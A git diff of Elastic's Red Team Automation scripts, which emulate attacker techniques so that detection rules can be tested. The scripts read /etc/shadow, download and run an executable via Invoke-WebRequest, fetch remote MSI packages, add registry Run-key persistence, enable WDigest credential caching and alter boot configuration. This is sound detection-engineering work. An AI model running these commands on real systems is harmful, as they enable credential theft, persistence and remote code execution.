a/rta/linux_discovery_sensitive_files.py +++ b/rta/linux_discovery_sensitive_files.py @@ -8,20 +8,27 @@ # Description: Uses built-in commands for *nix operating systems to read known sensitive # files, such as etc/shadow and etc/passwd from . import common +from . import RtaMetadata -@common.requires_os(common.LINUX) +metadata = RtaMetadata(uuid="82358d3d-6f04-42d0-a182-db37cf98294e", platforms=["linux"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(): common.log("Reading sensitive files", log_type="~") # Launch an interactive shell with redirected stdin, to simulate interactive shell access - common.execute('/bin/sh', stdin=""" + common.execute( + "/bin/sh", + stdin=""" cat /etc/sudoers cat /etc/group cat /etc/passwd cat /etc/shadow - """) + """, + ) -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/rta/login_hook.py b/rta/login_hook.py new file mode 100644 index 000000000..3a1447533 --- /dev/null +++ b/rta/login_hook.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="26339b1f-05ba-4fd8-94c2-8ee1613e4590", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Persistence via Login or Logout Hook", "rule_id": "5d0265bf-dea9-41a9-92ad-48a8dcd05080"}], + techniques=["T1037"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/defaults" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake defaults command to mimic installing a login hook.") + common.execute([masquerade, "write", "LoginHook"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/login_window_plist.py b/rta/login_window_plist.py new file mode 100644 index 000000000..b92846bb1 --- /dev/null +++ b/rta/login_window_plist.py @@ -0,0 +1,27 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="3c8fc2cc-fa66-4c91-ae72-c72accaa92b7", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Potential Persistence via Login Hook", "rule_id": "ac412404-57a5-476f-858f-4e8fbb4f48d8"}], + techniques=["T1547"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing deletion on /tmp/com.apple.loginwindow.plist file.") + common.temporary_file_helper("testing", file_name="/tmp/com.apple.loginwindow.plist") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/lua_image_load.py b/rta/lua_image_load.py new file mode 100644 index 000000000..39dfccfa6 --- /dev/null +++ b/rta/lua_image_load.py @@ -0,0 +1,60 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="860e5968-c31f-4928-ac05-3c3c2d19450c", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Windows LUA Script Execution", "rule_id": "8f237d98-1825-4c27-a5cd-e38bde70882a"} + ], + siem=[], + techniques=["T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + posh = "C:\\Users\\Public\\posh.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = "C:\\Users\\Public\\luacom.dll" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + rcedit = "C:\\Users\\Public\\rcedit.exe" + common.copy_file(EXE_FILE, posh) + common.copy_file(user32, dll) + common.copy_file(PS1_FILE, ps1) + common.copy_file(RENAMER, rcedit) + + # Modify the originalfilename to invalidate the code sig + common.log("Modifying the OriginalFileName attribute") + common.execute([rcedit, dll, "--set-version-string", "OriginalFilename", "unsigned.exe"]) + + common.log("Loading luacom.dll into fake posh") + common.execute( + [ + posh, + "-c", + f"Import-Module {ps1}; Invoke-ImageLoad {dll};", + "Test-NetConnection", + "-ComputerName", + "portquiz.net", + "-Port", + "445", + ], + timeout=10, + ) + + common.remove_files(posh, dll, ps1, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/mac_office_descendant.py b/rta/mac_office_descendant.py index a9e51584c..d220e5797 100644 --- a/rta/mac_office_descendant.py +++ b/rta/mac_office_descendant.py @@ -10,9 +10,13 @@ import os from . import common +from . import RtaMetadata -@common.requires_os(common.MACOS) +metadata = RtaMetadata(uuid="bb523eb1-db67-4ae6-9369-af1a93322817", platforms=["macos"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(): common.log("Emulating Microsoft Word running enumeration commands") office_path = os.path.abspath("Microsoft Word") diff --git a/rta/macos_installer_curl.py b/rta/macos_installer_curl.py new file mode 100644 index 000000000..58d75b429 --- /dev/null +++ b/rta/macos_installer_curl.py @@ -0,0 +1,43 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="34040af5-1231-4e97-8189-a26d6622b2e5", + platforms=["macos"], + endpoint=[ + {"rule_name": "Initial Access via macOS Installer Package", "rule_id": "d40ffcba-b83e-4d0a-8d6d-84385def8e18"} + ], + siem=[], + techniques=["T1105", "T1543", "T1082", "T1566", "T1204", "T1547", "T1569", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # create masquerades + masquerade = "/tmp/Installer" + masquerade2 = "/tmp/curl" + common.create_macos_masquerade(masquerade) + common.create_macos_masquerade(masquerade2) + + # Execute command + common.log("Launching fake macOS installer commands to download payload") + common.execute([masquerade], timeout=10, kill=True) + + command = f"{masquerade2} test.amazonaws.comtest " + common.execute([masquerade, "childprocess", command], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + common.remove_file(masquerade2) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/mimikatz_cmdline.py b/rta/mimikatz_cmdline.py new file mode 100644 index 000000000..a725f9939 --- /dev/null +++ b/rta/mimikatz_cmdline.py @@ -0,0 +1,31 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="75fdde39-92bb-4a71-a4f1-f70e9c85d6db", + platforms=["windows"], + endpoint=[ + {"rule_name": "Potential Credential Access via Mimikatz", "rule_id": "86bf5d50-7f5d-44b4-977b-dff222379727"} + ], + siem=[], + techniques=["T1558", "T1003"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + + # Execute command + common.log("Echoing a mimikatz command") + common.execute([powershell, "echo", "misc::memssp"], timeout=10) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/modification_of_wdigest_security_provider.py b/rta/modification_of_wdigest_security_provider.py index f3e721230..c9e9e60ab 100644 --- a/rta/modification_of_wdigest_security_provider.py +++ b/rta/modification_of_wdigest_security_provider.py @@ -13,20 +13,43 @@ import sys from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="c774ab90-d4d0-487b-b51e-928e7f3e9c48", + platforms=["windows"], + endpoint=[], + siem=[ + {"rule_id": "d703a5af-d5b0-43bd-8ddb-7a5d500b7da5", "rule_name": "Modification of WDigest Security Provider"} + ], + techniques=["T1003"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("Modification of WDigest Security Provider") # TODO: See if common.temporory_reg should be used instead - common.write_reg(common.HKLM, - "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 1, - common.DWORD, restore=False, pause=True) + common.write_reg( + common.HKLM, + "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", + "UseLogonCredential", + 1, + common.DWORD, + restore=False, + pause=True, + ) - common.write_reg(common.HKLM, - "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 0, - common.DWORD, restore=False) + common.write_reg( + common.HKLM, + "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", + "UseLogonCredential", + 0, + common.DWORD, + restore=False, + ) if __name__ == "__main__": diff --git a/rta/modify_bootconf.py b/rta/modify_bootconf.py new file mode 100644 index 000000000..c832fec4e --- /dev/null +++ b/rta/modify_bootconf.py @@ -0,0 +1,49 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import os + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="672cd0e6-fa5a-468f-80c8-04f92bead469", + platforms=["windows"], + endpoint=[{"rule_name": "BCDEdit Safe Mode Command Execution", "rule_id": "6d660b32-23bf-434b-a588-1cdc91224664"}], + siem=[], + techniques=["T1490", "T1218", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed.exe") + + +def main(): + binary = "winword.exe" + common.copy_file(EXE_FILE, binary) + bcdedit = "bcdedit.exe" + + # Messing with the boot configuration is not a great idea so create a backup: + common.log("Exporting the boot configuration....") + backup_file = os.path.abspath("boot.cfg") + common.execute([bcdedit, "/export", backup_file]) + + # WARNING: this sets up computer to boot into Safe Mode upon reboot + common.log("Changing boot configuration", log_type="!") + common.execute([binary, "/c", bcdedit, "/set", "{default}", "safeboot", "minimal"]) + + # Delete value to not boot into Safe Mode + common.log("Reset boot configuration", log_type="!") + common.execute([binary, "/c", bcdedit, "/deletevalue", "safeboot"]) + + # Restore the boot configuration + common.log("Restoring boot configuration from %s" % backup_file, log_type="-") + common.execute([bcdedit, "/import", backup_file]) + + common.remove_files(binary) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/modify_sublime_app.py b/rta/modify_sublime_app.py new file mode 100644 index 000000000..332d38811 --- /dev/null +++ b/rta/modify_sublime_app.py @@ -0,0 +1,41 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from pathlib import Path +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="5fc46f6e-5a2a-4336-98f3-5fdc27db7152", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Sublime Plugin or Application Script Modification", + "rule_id": "88817a33-60d3-411f-ba79-7c905d865b2a", + } + ], + techniques=["T1554"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + sublime_dir = Path(f"{Path.home()}/Library/Application Support/Sublime Text 4/") + sublime_packages = sublime_dir.joinpath("Packages") + sublime_packages.mkdir(parents=True, exist_ok=True) + sublime_path = str(sublime_packages.joinpath("test.py")) + common.log(f"Executing hidden plist creation on {sublime_path}") + common.temporary_file_helper("testing", file_name=sublime_path) + + # cleanup + common.remove_directory(str(sublime_packages)) + common.remove_directory(str(sublime_dir)) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/mount_smbfs.py b/rta/mount_smbfs.py new file mode 100644 index 000000000..93606713c --- /dev/null +++ b/rta/mount_smbfs.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="d275922f-a702-4668-a77d-c60e8df58646", + platforms=["macos"], + endpoint=[], + siem=[ + {"rule_name": "Attempt to Mount SMB Share via Command Line", "rule_id": "661545b4-1a90-4f45-85ce-2ebd7c6a15d0"} + ], + techniques=["T1021"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/mount_smbfs" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake mount_smbfs command to mimic mounting a network share.") + common.execute([masquerade], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/ms_office_drop_exe.py b/rta/ms_office_drop_exe.py index ecce23f1b..7d0e1a438 100644 --- a/rta/ms_office_drop_exe.py +++ b/rta/ms_office_drop_exe.py @@ -12,9 +12,24 @@ import os import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="ce85674f-fb6c-44d5-b880-4ce9062e1028", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "0d8ad79f-9025-45d8-80c1-4f0cd3c5e8e5", + "rule_name": "Execution of File Written or Modified by Microsoft Office", + } + ], + techniques=["T1566"], +) + + +@common.requires_os(metadata.platforms) def main(): cmd_path = "c:\\windows\\system32\\cmd.exe" @@ -24,10 +39,10 @@ def main(): common.copy_file(cmd_path, office_path) bad_path = os.path.abspath("bad-{}-{}.exe".format(hash(office_app), os.getpid())) - common.execute([office_path, '/c', 'copy', cmd_path, bad_path]) + common.execute([office_path, "/c", "copy", cmd_path, bad_path]) time.sleep(1) - common.execute([bad_path, '/c', 'whoami']) + common.execute([bad_path, "/c", "whoami"]) # cleanup time.sleep(1) diff --git a/rta/ms_office_task_creation.py b/rta/ms_office_task_creation.py new file mode 100644 index 000000000..b4ba24c12 --- /dev/null +++ b/rta/ms_office_task_creation.py @@ -0,0 +1,55 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="804463e7-b146-41ba-a757-d131d0a021ac", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Scheduled Task Creation via Microsoft Office", + "rule_id": "f9fd002c-0dab-42ec-8675-0cf5af6b4a85", + }, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "Potential Masquerading as SVCHOST", "rule_id": "5b00c9ba-9546-47cc-8f9f-1c1a3e95f65c"}, + ], + siem=[], + techniques=["T1036", "T1053", "T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + winword = "C:\\Users\\Public\\winword.exe" + svchost = "C:\\Users\\Public\\svchost.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = "C:\\Users\\Public\\taskschd.dll" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + rcedit = "C:\\Users\\Public\\rcedit.exe" + task = "C:\\Windows\\System32\\Tasks\\a.xml" + common.copy_file(user32, dll) + common.copy_file(PS1_FILE, ps1) + common.copy_file(RENAMER, rcedit) + common.copy_file(EXE_FILE, winword) + common.copy_file(EXE_FILE, svchost) + + common.log("Modifying the OriginalFileName") + common.execute([rcedit, dll, "--set-version-string", "OriginalFilename", "taskschd.dll"]) + + common.log("Loading taskschd.dll") + common.execute([winword, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) + common.execute([svchost, "-c", f"New-Item -Path {task} -Type File"], timeout=10) + common.remove_files(dll, ps1, rcedit, task, winword, svchost) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msbuild_network.py b/rta/msbuild_network.py index 36d215325..8e79375e8 100644 --- a/rta/msbuild_network.py +++ b/rta/msbuild_network.py @@ -11,11 +11,27 @@ # Description: Generates network traffic from msbuild.exe from . import common - -MS_BUILD = 'C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe' +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="022dc249-a496-413a-9355-c37e3ea41dda", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "9d110cb3-5f4b-4c9a-b9f5-53f0a1707ae6", + "rule_name": "Microsoft Build Engine Started an Unusual Process", + } + ], + techniques=["T1027"], +) + + +MS_BUILD = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe" + + +@common.requires_os(metadata.platforms) @common.dependencies(MS_BUILD) def main(): common.log("MsBuild Beacon") diff --git a/rta/msbuild_unusual_args.py b/rta/msbuild_unusual_args.py new file mode 100644 index 000000000..4f277f6f8 --- /dev/null +++ b/rta/msbuild_unusual_args.py @@ -0,0 +1,43 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="511278ac-4996-438e-ba03-bef8f10665b5", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution via Renamed Signed Binary Proxy", "rule_id": "b0207677-5041-470b-981d-13ab956cf5b4"}, + {"rule_name": "MSBuild with Unusual Arguments", "rule_id": "6518cdaf-e6cd-4cf9-a51e-043117c3dbeb"}, + ], + siem=[], + techniques=["T1127", "T1218"], +) + +RENAMER = common.get_path("bin", "rcedit-x64.exe") +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + msbuild = "C:\\Users\\Public\\posh.exe" + rcedit = "C:\\Users\\Public\\rcedit.exe" + common.copy_file(RENAMER, rcedit) + common.copy_file(EXE_FILE, msbuild) + + # Execute command + common.log("Modifying the OriginalFileName attribute") + common.execute([rcedit, msbuild, "--set-version-string", "OriginalFilename", "MSBuild.exe"]) + + common.log("Executing modified binary with extexport.exe original file name") + common.execute([msbuild, "-Version"], timeout=10, kill=True) + + common.remove_files(msbuild, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msequationeditor_file_written_exec.py b/rta/msequationeditor_file_written_exec.py new file mode 100644 index 000000000..5e6cc40d5 --- /dev/null +++ b/rta/msequationeditor_file_written_exec.py @@ -0,0 +1,47 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="a0b7435a-1f48-4fae-b3dc-c596dc70490d", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Execution of File Written or Modified by Microsoft Equation Editor", + "rule_id": "8bc4f22c-9bb1-4c76-a7b6-195bee3579db", + }, + {"rule_name": "Microsoft Equation Editor Child Process", "rule_id": "60eb5960-b26e-494a-8cf2-35ab5939f6c1"}, + ], + siem=[], + techniques=["T1203", "T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + server, ip, port = common.serve_web() + url = f"http://{ip}:{port}/bin/renamed_posh.exe" + + eqnedt32 = "C:\\Users\\Public\\eqnedt32.exe" + dropped = "C:\\Users\\Public\\posh.exe" + common.copy_file(EXE_FILE, eqnedt32) + + cmd = f"Invoke-WebRequest -Uri {url} -OutFile {dropped}" + + # Execute command + common.log("Using a fake eqnedt32 to drop and execute an .exe") + common.execute([eqnedt32, "/c", cmd], timeout=10) + common.execute([eqnedt32, "/c", dropped], timeout=10, kill=True) + common.remove_file(eqnedt32) + common.remove_file(dropped) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msequationeditor_net_conn.py b/rta/msequationeditor_net_conn.py new file mode 100644 index 000000000..6c70e01e6 --- /dev/null +++ b/rta/msequationeditor_net_conn.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="75167553-4886-44ba-b5d6-b4c341b33709", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Suspicious Network Connection from Microsoft Equation Editor", + "rule_id": "365571bb-2b93-4ae8-8c39-0558f8a6c4cc", + } + ], + siem=[], + techniques=["T1203", "T1566"], +) + +EXE_FILE = common.get_path("bin", "regsvr32.exe") + + +@common.requires_os(metadata.platforms) +def main(): + eqnedt32 = "C:\\Users\\Public\\eqnedt32.exe" + + common.copy_file(EXE_FILE, eqnedt32) + common.log("Making connection using fake eqnedt32.exe") + common.execute([eqnedt32, "-Embedding"], timeout=10, kill=True) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/mshta_network.py b/rta/mshta_network.py index f21480129..3f3b4bcd6 100644 --- a/rta/mshta_network.py +++ b/rta/mshta_network.py @@ -9,11 +9,28 @@ # Description: Generates network traffic from mshta.exe from . import common +from . import RtaMetadata HTA_FILE = common.get_path("bin", "beacon.hta") -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="83465fca-25ae-4d6d-b747-c82cda75b0ae", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "1fe3b299-fbb5-4657-a937-1d746f2c711a", + "rule_name": "Unusual Network Activity from a Windows System Binary", + }, + {"rule_id": "c2d90150-0133-451c-a783-533e736c12d7", "rule_name": "Mshta Making Network Connections"}, + {"rule_id": "a4ec1382-4557-452b-89ba-e413b22ed4b8", "rule_name": "Network Connection via Mshta"}, + ], + techniques=["T1127", "T1218"], +) + + +@common.requires_os(metadata.platforms) @common.dependencies(HTA_FILE) def main(): # http server will terminate on main thread exit @@ -26,7 +43,7 @@ def main(): common.log("Updating the callback to %s" % new_callback) common.patch_regex(HTA_FILE, common.CALLBACK_REGEX, new_callback) - mshta = 'mshta.exe' + mshta = "mshta.exe" common.execute([mshta, HTA_FILE], timeout=3, kill=True) server.shutdown() diff --git a/rta/msiexec_http_installer.py b/rta/msiexec_http_installer.py index 402b90301..989d6aba4 100644 --- a/rta/msiexec_http_installer.py +++ b/rta/msiexec_http_installer.py @@ -9,16 +9,38 @@ # Description: Use msiexec.exe to download an executable from a remote site over HTTP and run it. from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="d90f48c5-282a-4d29-a021-fb87e220e1a5", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "1fe3b299-fbb5-4657-a937-1d746f2c711a", + "rule_name": "Unusual Network Activity from a Windows System Binary", + } + ], + techniques=["T1127"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("MsiExec HTTP Download") server, ip, port = common.serve_web() common.clear_web_cache() common.execute(["msiexec.exe", "/quiet", "/i", "http://%s:%d/bin/Installer.msi" % (ip, port)]) common.log("Cleanup", log_type="-") - common.execute(["msiexec", "/quiet", "/uninstall", "http://%s:%d/bin/Installer.msi" % (ip, port)]) + common.execute( + [ + "msiexec", + "/quiet", + "/uninstall", + "http://%s:%d/bin/Installer.msi" % (ip, port), + ] + ) server.shutdown() diff --git a/rta/msiexec_remote_msi.py b/rta/msiexec_remote_msi.py new file mode 100644 index 000000000..732616f46 --- /dev/null +++ b/rta/msiexec_remote_msi.py @@ -0,0 +1,32 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="de245f02-8614-4fdd-b6e4-e845bbadd056", + platforms=["windows"], + endpoint=[{"rule_name": "Remote File Execution via MSIEXEC", "rule_id": "8ba98e28-d83e-451e-8df7-f0964f7e69b6"}], + siem=[], + techniques=["T1218"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # Execute command + common.log("Trying to fetch remote non-existent MSI") + common.execute( + ["msiexec.exe", "/q", "/i", "https://8.8.8.8/bin/Installer.msi"], + timeout=5, + kill=True, + ) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msiexec_remote_msi_install.py b/rta/msiexec_remote_msi_install.py new file mode 100644 index 000000000..fa54d9ea8 --- /dev/null +++ b/rta/msiexec_remote_msi_install.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="8cb1d15d-d945-4f1c-9238-b221600156bc", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "Remote MSI Package Installation via MSIEXEC", "rule_id": "706bf4ca-45b7-4eb1-acae-b1228124594a"}, + ], + siem=[], + techniques=["T1218", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + msiexec = "C:\\Users\\Public\\msiexec.exe" + common.copy_file(EXE_FILE, msiexec) + + set_reg_cmd = "Set-ItemProperty -Path 'HKLM:\\SOFTWARE' -Name 'InstallSource' -Value http://google.com" + rem_reg_cmd = "Remove-ItemProperty -Path 'HKLM:\\SOFTWARE' -Name 'InstallSource'" + + # Execute command + common.log("Creating reg key using fake msiexec") + common.execute([msiexec, "/c", set_reg_cmd, "; cmd.exe", "/V"], timeout=5, kill=True) + common.execute([msiexec, "/c", rem_reg_cmd], timeout=5, kill=True) + common.remove_file(msiexec) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msoffice_dcom_accessvbom.py b/rta/msoffice_dcom_accessvbom.py new file mode 100644 index 000000000..27d6e23fd --- /dev/null +++ b/rta/msoffice_dcom_accessvbom.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="456ec321-41c8-4a41-8f6f-40b8e3d1c295", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious MS Office Execution via DCOM", "rule_id": "6a714747-2671-4523-b233-744f119949b6"} + ], + siem=[], + techniques=["T1112", "T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + winword = "C:\\Users\\Public\\winword.exe" + common.copy_file(EXE_FILE, winword) + + key = "SOFTWARE\\Microsoft\\Office\\Test\\Security" + value = "AccessVBOM" + data = "1" + + with common.temporary_reg(common.HKCU, key, value, data): + pass + common.execute([winword, "-c", "echo", "-Embedding", ";powershell"], timeout=5, kill=True) + common.remove_file(winword) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msoffice_descendant_reg_mod_persistence.py b/rta/msoffice_descendant_reg_mod_persistence.py new file mode 100644 index 000000000..0fb97782e --- /dev/null +++ b/rta/msoffice_descendant_reg_mod_persistence.py @@ -0,0 +1,47 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="8fc20141-a73e-4c5e-9c9b-70acb69ab1dd", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Registry Persistence via Microsoft Office Descendant Process", + "rule_id": "999e7a9a-334f-4b74-834f-a652f91531f2", + } + ], + siem=[], + techniques=["T1547", "T1112", "T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + winword = "C:\\Users\\Public\\winword.exe" + posh = "C:\\Users\\Public\\posh.exe" + common.copy_file(EXE_FILE, winword) + common.copy_file(EXE_FILE, posh) + + cmd = ( + "New-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' " + "-Name Test -PropertyType String -value Testing" + ) + rem_cmd = "Remove-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name Test" + + # Execute command + common.log("Fake ms word reg mod...") + common.execute([winword, "/c", posh, "/c", cmd], timeout=10) + common.execute([posh, "/c", rem_cmd], timeout=10) + common.remove_file(winword) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msoffice_dll_image_load.py b/rta/msoffice_dll_image_load.py new file mode 100644 index 000000000..46b04259c --- /dev/null +++ b/rta/msoffice_dll_image_load.py @@ -0,0 +1,50 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="4ad6b308-f457-4805-89b9-43b99e32b24f", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Microsoft Office Loaded a Dropped Executable File", + "rule_id": "a0a82ad6-98ed-4426-abd8-52e7b052e297", + } + ], + siem=[], + techniques=["T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") + + +@common.requires_os(metadata.platforms) +def main(): + winword = "C:\\Users\\Public\\winword.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = 